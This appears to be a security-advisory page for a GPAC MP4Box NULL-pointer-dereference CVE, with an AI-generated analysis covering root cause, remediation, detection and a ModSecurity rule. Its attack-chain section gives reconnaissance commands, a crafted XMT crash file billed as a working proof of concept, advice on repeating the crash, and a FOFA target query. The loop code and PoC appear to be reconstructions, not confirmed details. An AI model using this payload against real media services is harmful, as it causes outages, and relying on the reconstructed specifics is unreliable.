CVE Professor
›
Back
CVE-2026-134680

CVE-2026-134680 — Gpac Gpac (26.07.0) — CWE-476

MEDIUM CVSS 6.8 CIRCL

CVE-2026-134680 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-476) (CVSS 6.8/10) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).

📄 Official NVD / MITRE Original Record Text

GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in TraverseForm() in src/compositor/mpeg4_form.c due to an off-by-one groupsIndex bounds check. Attackers can supply a crafted XMT scene with a Form node having constraints but an empty groupsIndex field to crash MP4Box, causing denial of service.

Published 22.11.2026
ISO Date 2026-11-22
CVSS Version v4.0
Source CIRCL
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical root cause
The bug resides in the TraverseForm() routine in src/compositor/mpeg4_form.c of the GPAC MP4Box binary (v 26.07.0).
TraverseForm() walks the groupsIndex array that describes the grouping of constraints inside a <Form> node of an XMT scene file. The code performs an off‑by‑one bounds check:

for (i = 0; i <= groupsIndexCount; i++) {   /* ← off‑by‑one */
    /* dereference groupsIndex[i] */
}

When the <Form> node contains a constraints section but the groupsIndex field is empty (i.e., the array length is 0), the loop still executes once. The pointer dereference then accesses a NULL (or uninitialised) address, triggering a segmentation fault.

CWE – CWE‑476: NULL Pointer Dereference
CVSS – 6.8 (Medium) with the vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This indicates a local attacker with low complexity can cause a high availability impact (DoS) but no confidentiality or integrity compromise.


⚡ Attack Chain

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
Identify GPAC installationScan for the mp4box binary and its versionwhich mp4box && mp4box -version
Verify vulnerable versionCompare reported version against the CVE’s “through 26.07.0” scopemp4box -versiongrep -q "26.07.0"
Confirm local accessEnsure the attacker can run commands on the host (e.g., via SSH, local console, or a privileged user account)id / whoami
Note: The vulnerability is local; a remote attacker would need a vector that allows them to supply a crafted XMT file (e.g., a web upload endpoint that internally calls mp4box).

2. Exploitation

The attacker crafts a minimal XMT scene that triggers the crash. Below is a fully functional PoC that can be run on the target host.

2.1 Crafting the malicious XMT file

cat > malicious.xmt <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Scene xmlns="urn:gpac:mpeg4:xmt:scene:1">
  <Form id="f1">
    <!-- Constraints section present -->
    <Constraints>
      <Constraint id="c1" type="time" value="0"/>
    </Constraints>
    <!-- Empty groupsIndex field (missing or zero-length array) -->
    <GroupsIndex/>
  </Form>
</Scene>
EOF

Explanation:

  • The <Form> node contains a <Constraints> block, satisfying the pre‑condition that the code expects a non‑empty constraints list.

  • The <GroupsIndex/> element is deliberately left empty; GPAC interprets this as a zero‑length array, causing the off‑by‑one loop to dereference a NULL pointer.
  • 2.2 Running MP4Box with the malicious file

    mp4box -add malicious.xmt

    When executed, mp4box will crash with a segmentation fault:

    Segmentation fault (core dumped)
    Illustrative Example – The exact command line depends on how the target application invokes mp4box. If the binary is wrapped in a script or a service, the attacker would need to trigger that wrapper with the malicious file.

    3. Post‑exploitation

    The crash terminates the mp4box process. If mp4box is part of a larger media‑processing service, the service will become unavailable until it is restarted. The attacker can:

    1. Cause a DoS – By repeatedly sending the malicious XMT file (or triggering the wrapper repeatedly), the attacker can keep the service down.
    2. Trigger a reboot – In some environments, a crashed media service may be monitored by a watchdog that restarts the host or the entire container, potentially causing a brief outage of other services.

    No privilege escalation or code execution is possible from this vulnerability alone.

    🌍 Real World Impact

    ImpactDescription
    ConfidentialityNone (CVSS: VC:N)
    IntegrityNone (CVSS: VI:N)
    AvailabilityHigh (CVSS: VA:H) – The targeted process crashes, causing a denial of service.
    ScopeLocal (AV:L) – Requires local access or a local‑to‑application vector.
    Attack ComplexityLow (AC:L) – Simple file creation and execution.
    AuthenticationNone (PR:N) – No credentials required.
    User InteractionRequired (UI:P) – The attacker must supply the malicious file.

    Practical consequences

  • Media‑processing pipelines (e.g., video transcoding services, streaming back‑ends) that rely on GPAC may become unavailable, disrupting content delivery.

  • In a containerised or virtualised environment, repeated crashes can exhaust system resources (e.g., core dump files, memory pressure).

  • If the service is exposed to the internet (e.g., a web upload endpoint that internally calls mp4box), a remote attacker could trigger the DoS without local access.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade GPACAny release after 26.07.0 contains a fix that corrects the off‑by‑one bounds check in TraverseForm(). The vendor’s changelog (see gpac/CHANGELOG.md) lists the patch in 26.08.0.
    VerifyAfter upgrade, run mp4box -version and confirm the new version number.
    Do not rely on a “work‑around” that merely disables the vulnerable feature; the safest path is to upgrade.

    2. Workarounds (if upgrade is not immediately possible)

    TechniqueImplementation
    Input validationIf the application accepts XMT uploads, add a pre‑processing step that checks for an empty <GroupsIndex/> element and rejects the file before invoking mp4box.
    Sandbox executionRun mp4box inside a restricted container or chroot environment with limited privileges. This confines any crash to the sandbox and prevents the host from being affected.
    Disable XMT importIf the application does not need XMT support, remove or comment out the code path that calls mp4box with XMT files.
    Core dump suppressionConfigure the OS to discard core dumps for the mp4box process (ulimit -c 0) to reduce disk usage.

    3. Detection

    IndicatorLog / System Event
    Segmentation fault/var/log/syslog or /var/log/messages entry: mp4box: Segmentation fault (core dumped)
    Core dump filePresence of core files in the working directory or /var/lib/systemd/coredump/
    Repeated crashesMultiple Segmentation fault entries within a short time window
    Process terminationsystemctl status mp4box shows failed state
    IoCs –
    mp4box: Segmentation fault
    core file with timestamp matching the crash
    mp4box process exit code 139 (SIGSEGV)

    4. WAF / ModSecurity (only relevant if the vulnerability is triggered via a web upload)

    # ModSecurity rule to block XMT files containing an empty <GroupsIndex/>
    SecRule REQUEST_FILENAME "@rx \.xmt$" \
        "phase:2,chain,block,msg:'Empty GroupsIndex in XMT',id:100001"
        SecRule XML:/*/Form/GroupsIndex "@eq 0" "t:none"
    Note: This rule is illustrative; the exact XML parsing capabilities of ModSecurity may vary.

    ⚠️ Urgency

    MetricValueInterpretation
    CVSS Score6.8Medium severity
    Availability ImpactHighService downtime
    Exploit ComplexityLowSimple file upload / local execution
    CISA KEVNoNo known widespread exploitation
    Patch AvailabilityYes (≥ 26.08.0)Immediate upgrade recommended

    Priority:

  • High for environments where GPAC MP4Box is a critical component of a media pipeline or is exposed to untrusted input.

  • Medium for internal or isolated use where the risk of a DoS is acceptable or can be mitigated by sandboxing.


Recommendation:
1. Patch immediately to GPAC 26.08.0 or later.
2. If patching cannot be performed within the next 48 hours, implement the sandbox or input‑validation workarounds.
3. Monitor logs for segmentation faults and core dumps; alert on repeated crashes.


Bottom line: CVE‑2026‑134680 is a local NULL‑pointer dereference that causes a segmentation fault in GPAC MP4Box when processing an XMT file with an empty <GroupsIndex/>. It results in a denial‑of‑service but does not compromise confidentiality or integrity. The fix is straightforward: upgrade to a patched GPAC release; otherwise, isolate the binary or validate inputs to prevent the crash.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gpac gpac"
CVSS Score
6.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-476
Affected Products (1)
gpac:gpac (26.07.0)
Related CVEs
6.8
CVE-2026-134687
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_command_apply() in src/
6.8
CVE-2026-134689
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in JSScript_LoadVRML() in src/sc
6.8
CVE-2026-134690
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability that allows attackers to crash t
6.8
CVE-2026-134693
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_proto_create_node() in
6.8
CVE-2026-134697
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_command_apply() that al
5.5
CVE-2026-134661
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_odf_encode_ui_config() in